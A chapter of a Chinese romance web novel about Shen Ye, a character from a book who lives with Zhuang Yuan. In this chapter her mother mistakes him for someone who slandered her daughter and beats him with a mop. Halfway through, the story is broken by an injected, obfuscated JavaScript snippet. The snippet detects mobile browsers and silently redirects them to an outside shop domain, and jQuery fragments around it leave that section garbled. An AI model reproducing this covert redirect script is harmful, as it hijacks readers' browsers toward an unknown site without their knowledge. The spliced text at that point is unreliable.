沈晔浑身湿透,着了凉,直打喷嚏,庄缘只好送他回家。
洗完澡,他裹着毯子坐在沙发上,过了会儿,开始不停地抽鼻子,脸色苍白。
庄缘冲好感冒药,用勺子轻轻搅动几下,端到他面前:“喝了吧,喝完睡一觉就好了。”
“不要。”沈晔撇了撇嘴,“这药看着就苦,我能不能不喝?”
“不能。”
“真的要喝啊?我觉得我现在已经好多了,不喝药也能好。”话还没说完,他又打了个喷嚏。
“原来你怕苦啊?”
“谁怕苦了!我只是……”他一时语塞,索性接过药碗,捏着鼻子一口气把药喝了下去。
”嘶……“他端起茶几上的水杯,开始牛饮。喝完水又把手伸到庄缘面前:”快给我一颗糖。“
“作死了。”庄缘嘴上抱怨着,转身去零食柜抓了一把奶糖,扔到他身上。
“嘿嘿。”沈晔捡起一颗糖,剥开塞到嘴里,带着重重的鼻音,笑道:“还是你对我好。”
“那你乖乖待着。”
庄缘把耶耶们安顿好,披上外套出门。
“你要去哪儿啊?”沈晔伸头看向玄关,“我这么难受,你就把我一个人扔在家里啊?”
“我去……”庄缘顿了顿,想起他刚刚怕苦、矫情的样子,打算作弄他一下,她嘴角一撇:“我出去嗨啊。”
“那我呢?”沈晔撑着沙发坐直,急得鼻音都更重了,“不行!我要跟你一起去。”
他一边说一边要先毯子,动作做到一半,又想起自己没衣服穿,只好把毯子又裹了回去。
“你不准出去,你要在家陪我。”他的声音闷闷的。
“算了,不逗你了。物流速度太慢了,我出去给你买几套厚点的衣服。”
“我就知道你不会那么狠心。”沈晔长舒一口气,“你注意安全。”
“好。”庄缘关上门。
她去附近的商场转了一圈,按照昨天沈晔网购时挑选的尺码,给他买了几件衬衫和裤子,又挑了几件保暖的外套和羊绒围巾。回家时,车后座被塞得满满当当。
她刚准备启动汽车,手机“嘟嘟嘟”地振动起来:
「救命啊!」
「你快回来!」
「家里进贼了!」
「这个女人抄起拖把就往我身上揍……」
「我要被她打死了!」
她赶紧停下,拿起手机给沈晔拨了回去。
“出什么事了?”
电话刚接通,那头就传来沈晔的崩溃的求救声:“我睡得好好的,突然冲过来一个女人,二话不说就掀我毯子,还拿着拖把追着我打。”
庄缘愣住:“什么女人?”
“我怎么知道?啊!疼!嘶……”他的声音一颠一颠的,还带着喘息声:“她一边打我一边骂我不要脸,还说我……哎!别打脸……”
话还没说完,电话突然被挂断。
庄缘一脸懵,盯着对话框看了几秒,接着又收到妈妈发来的语音。
“缘缘,这事你别管,今天妈妈就帮你教训教训这个小兔崽子。”
她拨打妈妈电话,却被挂断,于是赶紧发信息:「妈!你别打了,等我回去再说!」
妈妈没回复,她又拨打沈晔的电话,依然被挂断。她火速启动汽车,匆匆忙忙地往家里赶。
她推开门,发现家里已经乱成一锅粥。
沈晔裹着毯子,蹲在餐桌底下,一只手抱着毯子,另一只手紧紧握住桌子腿,脸上多了一道伤痕。他蜷缩着,眼里泛着泪光,像只破碎的小狗。
妈妈坐在沙发上,手里握着拖把,恶狠狠地盯着沈晔。三只小狗团在卧室门口,伸着头往外看,不敢出来。
庄缘冲进去,蹲在桌子边,把手递给沈晔:“出来吧,没事了。”
“她是你妈?”沈晔从桌子底下出来,闷着声问。
“是啊。”庄缘拉着他走到沙发边坐下,转头看向妈妈:“妈,你怎么过来也不跟我说一声。你还打人?”
“我打他怎么了?”妈妈满脸的愤怒,“谁让他欺负你的?”
“他欺负我?”庄缘一头雾水,“他什么时候欺负我了?”
“不是你说的嘛,他在网上说你坏话,造你的谣,搞得网友都在骂你。”
“哈?”
“哈什么哈?”
“妈!你搞错了吧!”庄缘猛地站起身,提高音量:“他不是林迦序!”
“我看他和林迦序长得一模一样啊?”
“哪里一样了?林迦序拿掉增高鞋垫还没我高。”她转头在沈晔腿上比划了一下,“这大长腿怎么可能是林迦序?”
“那他是谁?”妈妈瞥了一眼沈晔,语气有些心虚。
“他是……”
事情来由过于复杂,庄缘不想解释,而且,就算她说实话,妈妈也很难相信。于是她应付地回答了一句:“他是我请来的园林设计师。”
“那他为什么住在你家里?”妈妈还是很疑惑,“而且……还不穿衣服。”
“他今天早上去园林帮忙,衣服都被狗咬烂了。我得赔他衣服啊,所以我就出去买了。结果你又闹这么一出,我欠他的更多了……”
“哦。”妈妈转头,看到沈晔脸上的伤,愧疚起来:“对不起,小伙子,是阿姨误会你了。现在我带你去医院,医药费精神损失费我来出。”
“不用了阿姨,我没事,一点皮外伤而已。”沈晔一副乖宝宝的样子。
“没事,是我不对在先。”妈妈还是不放心,“你脸上伤得这么重,不及时处理会留疤的。乖乖听话,去医院,啊。”
“妈!”庄缘打断妈妈,“他的伤我来处理,你去陪狗狗玩吧。”
“对了,我还没问你,你什么时候养的狗?”妈妈问
“就前几天,还没来得及跟你说。”
“这狗挺乖的啊。”
“那当然,萨摩耶都很乖的。”看着沈晔蜷在沙发上,一副可怜样,她赶紧打发妈妈:“这几只耶耶老可爱了,你去跟它们处处。”
“好,那我去了。”妈妈看向耶耶们,笑眯眯地凑了过去。
见妈妈和小狗在影音室玩得很投入,庄缘下楼,去停车场把衣服都拎了上来,放到沙发边。
“你去试试吧。今天先穿一套,其他的洗洗,以后穿。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17342891|199439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“哼!”沈晔别过头去,嘴角往下压了压。
“怎么了嘛。”庄缘坐近了一些,“是身上还疼吗?等你换好衣服,我帮你处理伤口。”
“不需要!”
“你是因为我妈不分青红皂白打你,所以生气吗?”
“跟你妈没关系!”
“那你在生什么气嘛!”
“你自己猜。”
庄缘听不明白他在说什么,一下子懵住了,愣在原地。
沈晔瞥了她一眼:“你不记得你刚刚说过什么吗?”
“我说什么了?”
“你说我是你请来的园林设计师。”
“这句话有什么问题吗?”
“你不记得你答应过我什么吗?”他更加委屈了:“我们说好扮演男女朋友,你要演得真一点,不能敷衍。难道你忘了吗?”
“所以你是在怪我没跟我妈说你是我男朋友?”
沈晔点了点头:“我不配拥有名分是吗?”
“哈?”庄缘一副黑人问号脸,她不仅不能理解沈晔生气的点,还不明白这跟名分有什么关系。但她还是耐心地解释起来。
“我是答应你在外人面前演戏,但我妈不一样,她会当真的。等锦川把系统修复好,你就会回书里,到时候我要怎么跟她解释?说你被外星人带走了?”
“谁说我要回书里了?”沈晔怒气冲冲地站起身,低头盯着坐在沙发上的庄缘,“你是不是一直想着怎么把我送走?”
他下意识叉腰,毯子开始往下滑落。
“啊!”庄缘赶紧捂眼,“你先去换衣服!”
“哦……好好好。”他一下子气势弱了下来,把毯子往上提了提,随手拎起几包衣服往卧室走。
“诶?不对。”
庄缘放下双手,她忽然察觉到,沈晔身上一点伤都没有。之前在电话里听到他撕心裂肺的声音,还以为他受了重伤,吓得心脏差点跳出来。
沈晔换好衣服,从卧室里走出来,站在镜子前面,来回转了转身,仔细打量着衣服的上身效果。
“是不是紧了点?”庄缘问。
“不紧,刚刚好。你真会挑衣服!”
“你身上还有伤,会不会碰到伤口?”
“哪来的伤口?”
庄缘不说话,盯着他看。
沉默片刻后,他终于意识到,缓缓开口:“对不起。”
“什么意思?”庄缘皱了皱眉头。
“我刚刚稍微表演了那么一下下。”
“表演?”
“阿姨揍我的时候并没有太用力,而且,你这毯子挺厚实的,我一直裹着,一点都不疼。就最后蹲在桌子底下的时候,被她用拖把边边戳了一下,划了个小口子。”
“那你还在电话里叫得跟杀猪一样?还钻在桌子底下,一副可怜兮兮的样子,跟小狗似的?”
“我……对不起,我想让你心疼我,关心我。”他坐到沙发上,搂住庄缘的肩膀。
庄缘下意识挣脱,眼泪瞬间涌了出来:“你知不知道我有多担心?我还为了你吼我妈,我妈还那么愧疚。”
说完,她起身奔向卧室,重重地甩上门。